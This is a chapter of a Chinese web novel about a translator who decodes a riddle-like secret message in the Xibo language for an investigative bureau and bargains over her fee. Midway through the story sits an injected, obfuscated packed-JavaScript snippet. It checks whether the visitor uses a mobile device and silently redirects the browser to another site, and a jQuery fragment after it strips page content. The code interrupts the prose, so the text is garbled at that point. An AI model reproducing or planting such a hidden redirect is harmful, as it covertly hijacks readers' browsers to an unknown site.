4. 第 4 章
作品:《金牌翻译再就业》 一字十两?
云紫怡低头细数,两行共十二个字,翻出来就是一百二十两……
一百二十两!云紫怡顿时心花怒放。
琉镇平均每户每月收入不过三十两,若节俭些二十两便能温饱,而即便像她这样经验丰富的向导,在外奔波小半月,所赚也不过堪堪三十两出头。
若能得了这些个银子,可以去日日去福满楼吃招牌的玉皮烤鸭,可以去云秀坊拿下上月没舍得买的翠玉钗,还有再修一修家里的大门……
手中的竹笔啪嗒一声掉落在桌子上,美好的幻想戛然而止。
她差点忘了自己以后要日日困于那个隐蔽的小院,再也无法踏足琉镇的街道,甚至连自己的姓名也再也无法提起。
云紫怡有些沮丧地将纸推远,“各位大人们,我若日日困于小院,那这些银子也就无用武之地了。”
视线里,一只手按住了那张缓缓移动的纸,白皙如玉,骨节分明。
“怎的,云娘是想在我那里白吃白住?我怎么不记得自己有那么好心。”
云紫怡顿时叫他噎住,但是细细想来,一直蹭吃蹭喝也确有不妥,她脸皮还没厚到那种程度。
于是她面带微笑,“司使大人想怎样开价?”
“日常吃住一月四十两,若另有要求可以请春华或春桃代办,但也要付给相应的银子以及代办费。”
“至于你前几日的花销,以及每日服用的上好的药材,我就当做见面礼,给你折上三分。”
一月四十两,还不包括额外需要,还得还前两日的债,云紫怡听了一阵肉疼。那今日挣的这些也就将将能抵两个月的开销。
她暗自咬牙,“成交!”
对方回以微微一笑,做出一个“请”的手势。
既然决定接了这个活儿,那就不能辜负自己的职业素养。云紫怡略微思索一瞬,随即提笔。
周围几人见她有了动作,急匆匆都围上来观看。
这第一句倒是不难,只是一句日常用语。
“明日老地方见。”
那位肌肉大汉随即读出了她落笔所写,不由得神色有些凝重,“老地方,什么地方?后一句可有提示?”
众人纷纷等待纸上待出现的另一句话,可云紫怡却迟迟没有动笔。
“怎么回事,下一句看不懂了?”那位肌肉大汉不由得有些着急。
“也不是看不懂,只是……”云紫怡抬头,露出一个古怪的表情,“这是一句谜语。”
她刷刷落笔写下几字,“携佩之花赴宴”。
“佩?这佩又是何物,莫非是一种玉器,或是一种草木?”众人不解道。
“应当是佩兰。”
一旁就不做声的王慈突然开口道,“西伯一族的圣花,也是为数不多的能够在大漠中生存的花。此花色彩鲜丽,夜开朝合,花瓣内能够存续露水,茎叶却带有剧毒。大漠中的苦行人遇到此花,是天降甘霖,也是索命祸首。”
云紫怡赞许地朝他点了点头,没想到这人涉猎甚广,思维也足够敏捷。随后她又补充道,“极致的机遇与巨大的代价,很符合西伯人的疯狂和野心。几位日后若是遇上了西伯犯人,须得多加小心才是。”
就在众人以为谜底已然解开之时,她忽地又伸手,将面前的纸调了个个儿,正对几人,随后在“佩”和“花”二字上圈了圈。
“云娘斗胆,请诸位听听自己的猜测。”
“熟悉西伯语的人,不可能不知佩兰只能取花,何必又特地再言一遍花,岂不多费一番口舌?”
众人一愣,显然是也想到了这一不妥之处。密令情报,一字的位置也弥足珍贵,断然不会写一些废话。
云紫怡持笔,寻了纸上的空处又写了几个西伯语的词语,邀请众人细细观察。
“这……每个词语的末尾部分,从形状来看甚是相似。”
“没错。”她继续将相同的部位圈起来,然后指向意为“佩兰”的词语,“它们是一样的。”
“我方才所写这三个词语,分别是桃花,杜鹃花,以及银莲花。如诸位所见,我圈出来的这几处,可以理解为我们大齐话中的偏旁部首,在构成花的词语中必不可少。”
“可这一部分,本身在西伯语中也是一个独立的词,有水,雨水之意。”
“携带水前往吗,倒是独特。”王慈若有所思,“魏自心,近日可有与水有关的活动,或是以水闻名之处?”
云紫怡好奇望去,见那位脾气有些急躁的健壮男子从怀里掏出一张琉镇地图,平展在桌面上。
“头儿,福满楼承接了月胡一族的四月浴节,三日后会大办宴席,届时店家会执银瓶立于门口,以竹枝沾水洒向客人,以象征洗去过往旧尘,祈盼来年平安顺遂。”
魏自心挠挠头,复又向云紫怡抱拳,“方才我出言多有顶撞,还请云娘见谅。只是我还有些许疑问没能想出个所以然,不知云娘能否解答一二。”
云紫怡暗暗惊奇,她原以为这人甚是傲气,现看来倒也并非是无知无礼之人,“无妨,我并未放在心上。魏大人有何疑问直说便是。”
“这四月浴节洒水洗尘,都是由专门挑选好之人进行,赴宴宾客根本无需自带任何水瓶工具。若叫兄弟们伪装前去探查,那这水,是带还是不带?”
“若这福满楼店家本身就有问题,将装水的银瓶作为信物,一旦见了带水之宾客,便可直接由小二将其引到指定地点。”一直在一旁并未出声的折扇公子,现下收了手中摇来摇去的纸扇,提出了一个猜测。
云紫怡听后点点头,“确有道理。敢问大人姓名?”
“顾显之。”
“顾大人方才所言不失为一种可能性,但此种情形有一很明显的弊端,若届时真的有那楞头公子,也携带了水瓶,那该引谁前往?如此变数太大,毕竟往来宾客的一举一动可不受谁的控制。”
逼仄的问讯房里,沉默蔓延开来。
魏自心一拳锤在墙上,震得尘土扑簌簌往下落,“实在不行,干脆就多叫几个弟兄,连带上衙门的人,直接将那福满楼围了去便是。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15475281|169948||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
王慈按住他的胳膊,轻轻摇了摇头。
半晌,云紫怡带着几分犹豫道,“其实还有一种情形,只不过概率十分微小。”
“诸位大人,可听过‘胡伯互质’的传闻?”
相传上任月胡王嗜战成性,屡次进犯周边部族,不料在同样实力强劲的西伯这里栽了跟头。两部族约定休战,事先挑起纷争的月胡须将其王子送至西伯为质,而西伯也会将一王女嫁往月胡联姻。
月胡王子不堪大漠环境恶劣,没能挺过几年便撒手而去。而嫁与另一王子的西伯王女,终身并无所出,月胡先王室就这样断了后。
“传言说道,月胡王子并非因为客居他乡郁郁而终,而是被那些西伯贵族谋害。西伯王女也并非真的一生无嗣,而是老月胡王不愿看到将来的继承人身上流着一半西伯的血脉,指使宫中嬷嬷趁四月沐节时,用竹枝沾了毒酒洒向婴孩。一朝东窗事发,便下令整个部族今后不得给婴孩洗尘。”
“时过境迁改朝换代,从那之后便有了孩童不过四月浴节的传统。只是如今在月胡南部,有几城是旧朝月胡贵族的封地,我曾跟随一队织锦商到过那里,他们还保留着前月胡的一些习俗,其中就包括由德高望重者向孩童洗尘。”
“如此倒是最万无一失的法子。”王慈点点头,“魏自心,你找人去福满楼打探一下,看那日有没有新生儿办满月宴。”
魏自心领命后便出了问讯房,云紫怡见事情有了了结,便开口问王慈,“接下来大人还有何吩咐?”
“没有了,稍后梅英会送你回去。”
站在她身旁的那个妖冶窈窕的女子冲她眨眨眼。
“那银子呢?”她把素白的手掌往王慈面前一杵,“司使大人不会赖账吧。”
对方只淡淡地看了她一眼,“回去找春华支取便可,记得先把本月的银子付了。”
云紫怡皮笑肉不笑,“恭送司使大人,以后有活儿记得还找我啊!”
待王慈的背影消失在门口,她小声吐槽道,“小气鬼。”
梅英在一旁扑哧笑出了声,“王司使肯定不知道,有一天居然轮到自己被别人说小气。”
云紫怡啊了一声,“那他平日里很大方吗?”
梅英笑笑,“那可是王司使哎,云阳伯之子,家中世代勋爵,实打实的锦绣堆里长大的公子哥。”
“稽察司招人不论出身,只论真才实学,所以司内很多人家境并不好。王司使嘴又毒,每次表面上,不是嫌这人衣着有违稽察司身份,就是说那人中午吃饭太少干活没力气,等再回头,又在稽察司待遇里添了置办冬夏新衣一条,还自掏腰包开设了免费食肆。”
“这么看他其实还挺大方的,那为何每次都来跟我斤斤计较。”云紫怡忿忿道。
梅英一边说话,一边往她眼睛处蒙上黑布条,无论是诏狱还是密林小屋,位置都是严格保密的。
视线陷入黑暗的那一瞬,她听见梅英笑着说,“其实我也是第一次见司使如此。要不你试着好言央求一番,司使看似嘴毒,实则耳根子软极了。”